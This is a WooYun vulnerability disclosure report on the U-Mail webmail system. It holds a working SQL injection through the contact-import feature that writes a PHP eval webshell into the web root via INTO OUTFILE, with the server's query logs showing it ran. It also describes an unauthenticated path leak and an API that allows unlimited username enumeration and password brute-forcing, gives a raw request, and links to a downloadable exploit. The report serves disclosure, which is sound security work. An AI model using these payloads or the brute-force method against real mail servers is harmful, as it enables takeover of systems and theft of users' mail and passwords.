当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(41) 关注此漏洞

缺陷编号: WooYun-2015-92678

漏洞标题: U-Mail另类注入导致无限制getshell

相关厂商: U-Mail

漏洞作者: Ano_Tom认证白帽子

提交时间: 2015-01-21 15:35

公开时间: 2015-04-20 14:22

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

10人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-21: 细节已通知厂商并且等待厂商处理中
2015-01-22: 厂商已经确认,细节仅向厂商公开
2015-01-25: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-03-18: 细节向核心白帽子及相关领域专家公开
2015-03-28: 细节向普通白帽子公开
2015-04-07: 细节向实习白帽子公开
2015-04-20: 细节向公众公开

简要描述:

U-Mail另类注入导致无限制getshell

详细说明:

1.邮件系统介绍

1)官方下载地址:http://**.**.**.**/html/downloads/

2)版本:最新版V9.8.57

3)测试环境:Windows Server 2003+IIS6.0+官方默认软件

4)使用案例:http://**.**.**.**/html/case/ OR Google "Powered by U-Mail"

2.邮件系统数据

1)系统默认路径:

c:\umail为邮件系统的默认路径

c:\umail\WorldClient\html\为邮件系统的web路径

http://**.**.**.**/webmail/为普通用户的登录入口

http://**.**.**.**/webmail/admin/?module=user&action=login为域/超域/系统管理员的登录入口

2)安装数据

系统安装完毕后在C:\umail路径下生成readme.txt文件,记录了安装的帐号密码相关信息,如图

1.png



安装完毕后有两个数据库umail和webmail,其中umail记录整个邮件系统的数据;

数据库会生成两个用户,一个root一个umail,其中umail帐号对应数据库umail[问题1]

同时系统会生成三个管理用户,admin(域管理员)、administrator(超域管理员)、system(系统管理员)前两个帐号可以管理所有用户密码等信息

对应的数据表为web_user,且密码明文存储,如图

2.png



3)漏洞文件

/client/pab/module/o_contact.php 代码为

code 区域
if ( ACTION == "contact-import" )
{
$url = make_link( "pab", "view", "index" );
$import_file = $_FILES['import_file'];//获取文件
$import_group = $_POST['import_group'];
$import_mode = $_POST['import_mode'];
$file_path = $_FILES['import_file']['tmp_name'];
$fp = @fopen( $file_path, "r" );
if ( !$fp )
{
redirect( $url, "无法打开文件!" );
}
$i = 0;
$file_fields = array( );
//从文件中读取内容,
while ( !feof( $fp ) )
{
$line = iconv( "GBK", "UTF-8", trim( fgets( $fp, 4096 ) ) );
if ( $i == 0 )
{
$field_map = $PAB->getExportFieldMap( );//获得字段项
$tmp_field_arr = explode( ",", trim( $line ) );
foreach ( $tmp_field_arr as $tmp_field )
{
$tmp_field = trim( $tmp_field );
$is_find = FALSE;
foreach ( $field_map as $key => $field )
{
if ( !( $tmp_field == $field ) || !( $tmp_field == "\"".$field."\"" ) )
{
continue;
}
$file_fields[] = $key;
$is_find = TRUE;
break;
}
if ( !$is_find )
{
$file_fields[] = "";
}
}
}
else
{
$data = array( );
$line_arr = explode( ",", $line );
foreach ( $line_arr as $j => $val )
{
preg_match( "/\"(.+?)\"/", $val, $arr_tmp );
$val = $arr_tmp[1] ? $arr_tmp[1] : $val;
if ( !$val && !$file_fields[$j] && !( $val != "\"\"" ) )
{
$data[$file_fields[$j]] = $val;//将文件读取的内容拼接至数组里
}
}
if ( !$data )
{
}
else
{
$data['updated'] = date( "Y-m-d H:i:s" );
$contact = $PAB->getContactByMail( $user_id, $data['pref_email'], "contact_id", 0 );//进入函数,产生了一个select的查询
if ( $contact )
{
do
{
if ( !( $import_mode == "ignore" ) )
{
$where = "contact_id='".$contact['contact_id']."'";
$result = $PAB->update_contact( $data, $where, 0 );
if ( !$result )
{
redirect( $url, "更新数据失败!" );
}

if ( $import_group && $PAB->checkMap( $user_id, $import_group, $contact['contact_id'], 0 ) )
{
$contact_id = $contact['contact_id'];
break;
break;
}
}
}
else
{
$data['user_id'] = $user_id;
$contact_id = $PAB->add_contact( $data, 0 );//执行插入数据操作
if ( $contact_id )
{
break;
}
redirect( $url, "导入数据失败!" );
} while ( 0 );
}
if ( $import_group )
{
$res = $PAB->addMap( $user_id, $import_group, $contact_id, 0 );
}
}
}
++$i;
}
fclose( $fp );
redirect( $url, "导入数据成功!" );
}



两个sql查询的文件代码为

其中$contact = $PAB->getContactByMail( $user_id, $data['pref_email'], "contact_id", 0 );

在文件/client/admin/lib/PAB.php

code 区域
public function getContactByMail( $_obfuscate_nQNptTJPgÿÿ, $_obfuscate_ae6UFRQÿ, $_obfuscate_tjILu7ZH = "*", $_obfuscate_ySeUHBwÿ = FALSE )
{
$_obfuscate_IRFhnYwÿ = "user_id='".$_obfuscate_nQNptTJPgÿÿ."' AND pref_email='".$_obfuscate_ae6UFRQÿ."'";//pref_email的参数未转义等处理
$_obfuscate_6RYLWQÿÿ = $this->getone_contact( $_obfuscate_IRFhnYwÿ, $_obfuscate_tjILu7ZH, $_obfuscate_ySeUHBwÿ );
return $_obfuscate_6RYLWQÿÿ;
}



$contact_id = $PAB->add_contact( $data, 0 );//执行插入数据操作

是直接将$data的数据insert到contact表里的。所以读取文件的内容,并获取参数,最终执行了函数,函数对变量未进行有效转义等,从而产生注入



这个注入比较另类的地方是,我们可以引入单引号、注释符进行闭合等,但是不能引入逗号,因为其从文件读取参数的时候是按照逗号进行分割的。所以只能sleep()一下,且若想盲注的话还不能引入逗号,因而无法继续利用。先查看下具体的sql语句。

缺陷产生的地方是在个人通讯录-导入联系人到此组中,要想导入联系人,先得获取提交文件的字段信息。

3.png



文件信息为

4.png



然后修改文件,执行导入联系人到此组

5.png



执行的sql语句为

6.png



发现INSERT的数据是写死的,fullname和pref_email不能引入)等进行闭合,因为其有逗号,(从文件获取参数的时候是按照逗号分割的,所以整个注入利用的exp中不能出现逗号),因而无法将select password from web_user INSERT到联系人表里。上面的select 也只能执行个sleep,且无法盲注(有逗号,暂未绕过)

所以此处是个鸡肋的sql注入,但恰巧该SQL语句只执行了SELECT contact_id这一个字段,所以我们可以进行UNION SELECT,从而不用产生逗号了。若只是查询数据也是获取不到的,因为其还是要引入逗号的。所以考虑到了INTO OUTFILE,巧合的是该邮件系统的umail帐号默认却是有FILE权限的(邮箱存储邮件是写文件的,应该是业务需求)

7.png



UNION SELECT 要保证前面的sql执行无结果返回,因而getshell的最终exp为,在联系人表的电子邮件地址写入

hello' AND 1=2 UNION SELECT '<?php eval($_POST[1]);' INTO OUTFILE 'C:\\umail\\WorldClient\\html\\damn.php'#即可

8.png



执行的sql语句为

code 区域
150118 14:23:06	 1353 Connect	umail@localhost on 
1353 Query SET NAMES 'UTF8'
1353 Init DB umail
1353 Query SELECT contact_id FROM pab_contact WHERE user_id='3' AND pref_email='hello' AND 1=2 UNION SELECT '<?php eval($_POST[1]);' INTO OUTFILE 'C:\\umail\\WorldClient\\html\\damn.php'#' LIMIT 1
1353 Query INSERT INTO pab_contact SET `fullname`='hello',`pref_email`='hello' AND 1=2 UNION SELECT '<?php eval($_POST[1]);' INTO OUTFILE 'C:\\umail\\WorldClient\\html\\damn.php'#',`birthday`='0000-00-00',`updated`='2015-01-18 14:23:06',`user_id`='3'
1353 Quit



9.png



当然,我们要知道网站的web路径才可以,默认路径是c:\umail,若不是默认路径,这里还一处爆路径缺陷,登录状态下访问webmail/client/mail/index.php?module=operate&action=attach-packdown即可,或者在未登录状态下直接访问/webmail/client/mail/module/test.php即可

从而获得webshell为

10.png



这样难道还不完美?如何获得邮箱系统的一个普通帐号,难道不容易获取么?

11.jpg



主页登录处,输错密码三次就要输入验证码,但该系统中却存在一处设计缺陷,该设计缺陷,不仅可以猜解存在哪些用户名,而且可以导致暴力猜解用户密码,

/api/userCheck.php代码为

code 区域
$mailbox = trim( $_GET['mailbox'] );
$cfv = trim( $_GET['cfv'] );
$domain = trim( $_GET['domain'] );
$password = trim( $_GET['password'] );
if ( $mailbox )
{
if ( !checkemailname( $mailbox ) )
{
echo "param_error";
exit( );
}
if ( !$password )
{
echo "param_error";
exit( );
}
}
else
{
if ( !$cfv )
{
echo "param_error";
exit( );
}
if ( !$domain )
{
echo "param_error";
exit( );
}
if ( !$password )
{
echo "param_error";
exit( );
}
}
require_once( "../mainconfig.php" );
connect_db( "**.**.**.**:6033", $db_user, $db_password, "umail" );
//get传入mailbox变量
if ( $mailbox )
{
list( $username, $domain ) = explode( "@", $mailbox );
}
$domain_id = getdomainidbyname( $domain, 0 );
if ( $cfv )
{
$userlist = getuserlistbycfv( $domain_id, $cfv, "UserID,Mailbox,FullName,Password,CustomFieldValue", 0 );
}
else
{ //不传入cfv
$userlist = getuserlistbyname( $domain_id, $username, "UserID,Mailbox,FullName,Password,CustomFieldValue", 0 );//根据用户名查到该用户的记录,若有则返回,无则exit函数
}
if ( !$userlist )
{
echo "mailbox_not_exist";//如果不存在用户名的话,则提示不存在用户,同时结束运行
exit( );
}
if ( $userlist['Password'] == $password )
{
echo "ok";//根据用户名从数据库获得的用户密码,比较与用户提交的是否相等,相等就ok,导致密码可以被暴力破解
exit( );
}
echo "password_error";//若用户名存在,则查看密码是否正确
exit( );
?>



如何获得用户名?(妈蛋,既然邮件系统,肯定邮箱地址是公开的,这就是用户名),当然我们可以暴力下有哪些用户名

方法,/webmail/api/userCheck.php?mailbox=xxxx@**.**.**.**&password=sbsbsbsbsbsb

要想暴力猜解用户名,必须保证密码是一个不存在的密码,很简单,设置个足够复杂变态的即可,如图

12.png



输出mailbox_not_exist表示不存在该用户名

13.png



输错password_error表示存在该用户名

暴力猜解用户名,载入用户名字典(拼音组合等),执行爆破。

14.png



获得用户名后,直接猜解密码即可,载入字典,无任何次数限制。密码正确提示ok,错误则提示password_error,如图

code 区域
GET /webmail/api/userCheck.php?mailbox=weakpass@**.**.**.**&password=xxx HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=3f46b9d2eeace956a851d34d2032c24f



15.png



综上,从一个另类注入,完美getshell,附上官网demo1shell

16.png



附EXP下载,链接: http://**.**.**.**/s/1bnGVbY3 密码: wn3v 修改web路径,导入通讯录即可getshell,同时附送众多的案例,谷歌搜索,都第31页了还是有很多该邮件系统,使用量是比较大的,政府用户也居多。

17.png



漏洞证明:

如上详细描述

修复方案:

1.umail的权限[因邮箱系统的业务需求,因而需要FILE权限]

2.对从文件获取的参数未进行过滤处理

3.相关函数未进行过滤等处理

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-01-22 16:39

厂商回复:

CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-01-19 15:57 | pandas ( 普通白帽子 | Rank:701 漏洞数:51 | 国家一级保护动物)
    1

    哟哟,好你个另类

登录后才能发表评论,请先 登录

location !== self.location) top.location=self.location;